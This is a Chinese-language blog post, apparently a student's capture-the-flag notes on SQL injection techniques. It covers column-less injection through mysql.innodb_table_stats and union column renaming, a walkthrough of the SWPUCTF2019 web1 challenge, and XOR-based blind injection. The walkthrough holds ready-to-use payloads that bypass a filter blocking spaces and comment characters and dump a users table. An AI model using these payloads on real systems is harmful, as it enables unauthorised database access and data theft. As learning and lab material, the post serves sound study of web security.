在刷完sql-labs后我在学长的博客里发现了另外几种注入方式我们会在下面写出来

一:无列名注入

无列名注入顾名思义就是无法查询到列名,利用这种方法来绕过列名的查询方法。
在许多的sql注入场景一般都会过滤information_schema这个库导致我们无法利用这个查询表名和列名,但是在高版本的mysql里存在mysql.innodb_table_statsmysql.innodb_table_index保存着表名。那么我们就可以利用这两个表来进行查询表名。可是这两个只能查询表名,怎么我们该怎么查询数据呢?这时候就要用到无列名注入了。
无列名注入的原理是利用select语句来将列名重命名代码如下

1
select 1,2,3 union select * from user


我们可以发现我们查询出来的表的列名变成了1,2,3也就是我们命名的这是为什么呢?哎嘿聪明的我查了一下chat-gpt,很快就得出了结果。
因为sql语句中查询的列名是可以自己指定的,select 1,2,3 union select from user中第一个select语句指定的列名为1,2,3二第二个select语句是查询user中所有的结果。而union会将前后两个语句进行匹配,如果匹配成功union会将其进行合并导致后一个语句继承前一个语句的列名
我们在输入如下语句
1
select `1` from(select 1,2,3 union select * from users)A


我们可以发现其回显了1的内容也就是id的内容。那么我们来分析一下是为什么,首先`(select 1,2,3 union select
from users)A这句的意思是将查询的结果重命名为A。就像是多了一个表名为A内容为users的列名为1,2,3的表一。那么这一就话连起来意思就很明确了,就是查询来自A列名为1的列的内容,A就是select 1,2,3 union select * from users`查询的内容
可能有人会有疑问为什么1要加反引号呢?这是因为sql中将反引号内的内容认为是列名,如果去掉反引号那么1就会被当成数字解析那么就无法查询道内容。
当然我们也可以利用group_concat来查询多条语句
1
select group_concat(`1`,`2`) from(select 1,2,3 union select * from users)A


当然有的题目会将反引号过滤那么我们该怎么办呢?其实也不难解决只要将查询语句中的1,2,3做点修改就好代码如下
1
select group_concat(a) from(select 1 as a,2 as b,3 as c union select * from users)A


我们利用as将1命名为a将2命名为b将3命名为c,这样就可以利用a,b,c作为列名来查询了

SWPUCTF2019的web1

这道题目就是一道无列名注入题目。
在我们点击进入后发现是一个登入页面,在登入宽尝试了是否能进行注入,发现好像不可以,

那么我们可以看见有一个注册页面,我们点击注册,然后登陆,我们可以看道,我们可以进行申请广告

这玩意一看就像是能注入的样子满脸写着,快来注入我呀。我们在广告名输入1’

发现直接报错我们在输入
# 发现被过滤了,经过尝试题目拦截了空格,#,and和or,因为只要输入or就会被waf拦截导致无法发送也就造成了我们无法使用information_schema和order by
注释符我们可以使用%00截断法绕过,空格可以使用%0b和注释符//绕过这里我就使用/ /因为%0b太难看了,而order by无法使用我们可以使用group_by来查询其列数
查询列数的payload

1
1'/**/group_by/**/22;%00

经过尝试我们可以发现其列数是22没错22列
1
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22;%00


可以发现回显为是2和3
1
1'/**/union/**/select/**/1,(select/**/database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22;%00

回显其库名为web1我们在使用mysql.innodb_table_stats来查询表名payload如下
1
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22;%00


接下来就是进行无列名注入了
1
1'/**/union/**/select/**/1,(select/**/group_concat(a,b,c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22;%00


嘿嘿flag get!!!!

异或注入

异或注入算是盲注的一种,我们在了解异或注入时先了解以下异或,所谓异或就是不同返回1相同返回0.那么就出现了1^0^1=0,1^1^1=1,那么就我们只要将中间的数字换成注入语句那么只要正确就会返回1错误就会返回0,payload如下

1
1^(ascii(substr((select database()),1,1))>100)^1

那么只要正确就返回1错误就返回0,这种注入方法可以应用用0于1回显界面不同的情况。
在判断是否为数字型注入的也可以使用^来注入
只要1^1^11^0^1的回显相同那么基本可以确认为字符型注入